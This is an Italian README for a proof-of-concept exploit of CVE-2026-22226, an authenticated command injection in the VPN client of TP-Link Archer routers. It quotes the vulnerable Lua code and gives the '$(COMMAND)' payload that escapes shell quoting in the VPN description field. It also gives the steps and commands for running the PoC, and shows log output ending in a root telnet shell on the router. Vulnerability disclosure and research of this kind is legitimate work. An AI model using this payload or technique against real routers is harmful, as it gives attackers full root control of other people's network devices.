
Prova di concetto per la CVE-2026-22226
Proof of Concept per CVE-2026-22226
Iniezione di comandi OS lato LAN autenticata nel client VPN dei router Wi-Fi TP-Link Archer
Il controller del client VPN salva la descrizione della voce controllata dall'utente (des) nella configurazione UCI con una regex di validazione debole. Quando la voce viene successivamente riletta (durante la modifica nella WebUI), get_ovpn_data() inserisce des in un comando shell tra virgolette passato a os.execute() senza alcuna sanitizzazione :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
Il carattere virgoletta singola (') supera la regex di validazione, sufficiente per uscire dalle virgolette della shell e iniettare comandi tramite la sostituzione $(). Un campo des impostato su '$(COMMAND)' trasforma il comando in :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Notare che l'output del comando non viene mai restituito nella risposta HTTP, quindi l'iniezione è cieca. Per questo serve un canale out-of-band (qui lo script PoC avvia un server telnetd per ottenere una shell interattiva).
[!Note] Ho testato questo script solo su un TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), ma probabilmente anche altri dispositivi Archer sono vulnerabili.
Questo PoC segue questo processo :
admin.ovpn fittiziodes alterato, uscendo dal contesto tra virgolette singole e iniettando il payload tramite una sostituzione di comandoget_ovpn_data() rileggendo la voce, che passa il des alterato a os.execute()[!Warning] Lo sfruttamento di questa vulnerabilità porta all'esecuzione di comandi OS come
rootsul router (compromissione completa del dispositivo), aggirando la validazione dell'inputdestramite il carattere virgoletta singola consentito.
Le dipendenze Python sono dichiarate inline nello script, quindi puoi eseguirlo direttamente con un moderno gestore di progetti Python, oppure installarle manualmente con pip :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
imposta IP, credenziali e payload di destinazione in poc.py
esegui lo script :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux